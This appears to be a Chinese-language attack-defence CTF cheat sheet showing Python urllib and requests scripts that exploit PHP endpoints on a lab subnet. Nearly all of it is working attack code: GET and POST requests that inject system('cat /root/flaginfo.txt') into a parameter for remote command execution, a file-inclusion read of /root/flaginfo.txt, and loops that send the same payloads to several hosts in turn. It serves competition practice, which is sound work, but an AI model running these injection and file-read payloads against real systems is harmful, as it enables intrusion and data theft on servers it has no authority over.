参考文章

利用urllib库

import urllib.request
import urllib.parse

1. get传参
   命令格式：urllib.request.urlopen(url)

url = "http://172.20.101.101/reg.php"
payload = {
    "a":"system('cat /root/flaginfo.txt');"
}
data = urllib.parse.urlencode(payload)

response = urllib.request.urlopen(url + "?" +data)
print(response.read().decode())

2. post传参
   命令格式：urllib.request.urlopen(url,data=post_data.encode())

url="http://172.20.101.101/post.php"
data={
    "a":"system('cat /root/flaginfo.txt');"
}
payload=urllib.parse.urlencode(data)

response = urllib.request.urlopen(url,data=payload.encode())
print(response.read().decode())

3. 利用re正则匹配来匹配字符串（get传参形）
   import re

url = "http://172.20.101.101/about.php"
###get
payload = {
    "f":"/root/flaginfo.txt"
}

data = urllib.parse.urlencode(payload)
#print(data)
response = urllib.request.urlopen(url + "?" +data)
html=response.read().decode()
flag=re.findall('(.*?)<div class="row">',html,re.S)
print(flag)

4. 循环遍历
   get形

def urllibget(u,payload):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        data=urllib.parse.urlencode(payload)
        response=urllib.request.urlopen(url+u+"?"+data)
        result=response.read().decode()
        print(result)

u="/reg.php"
payload={"a":"system('cat /root/flaginfo.txt');"}
urllibget(u,payload)

post形

def urllibpost(u,p):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        payload=urllib.parse.urlencode(p)
        response=urllib.request.urlopen(url+u,data=payload.encode())
        result=response.read().decode()
        print(result)

u="/post.php"
payload={"a":"system('cat /root/flaginfo.txt');"}
urllibpost(u,payload)

利用requests库

import requests

1. get传参
   命令格式：requests.get(url)

url="http://172.20.101.101"
data="/reg.php?a=system('cat /root/flaginfo.txt');"
url=url+data
req=requests.get(url).content.decode()
print(req)

2. post传参
   命令格式：requests.post(url,data=post_data)

url="http://172.20.101.101/post.php"
post_data={"a":"system('cat /root/flaginfo.txt');"}
req=requests.post(url,data=post_data).content.decode()
print(req)

3. 利用re正则匹配来匹配字符串(get型)
   import re
   命令格式：result=re.findall(‘匹配字符串条件’,html,re.S)

url="http://172.20.101.101"
data="/about.php?f=/root/flaginfo.txt"
payload=url+data
req=requests.get(payload).content.decode()
result=re.findall('(.*?)<div class="row">',req,re.S)
print(result)

4. 循环遍历
   get型

def getc(payload):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        url=url+payload
        try:
            req=requests.get(url).content.decode()
            print(req)
        except:
            pass
payload="/reg.php?a=system('cat /root/flaginfo.txt');"
getc(payload)

post型

def postc(u,post_data):
    for i in range(101,104):
        url="http://172.20."+str(i)+".101"
        print(url,end="   ")
        try:
            url=url+u
            req=requests.post(url,data=post_data).content.decode()
            print(req)
        except:
            pass
u="/post.php"
post_data={"a":"system('cat /root/flaginfo.txt');"}
postc(u,post_data)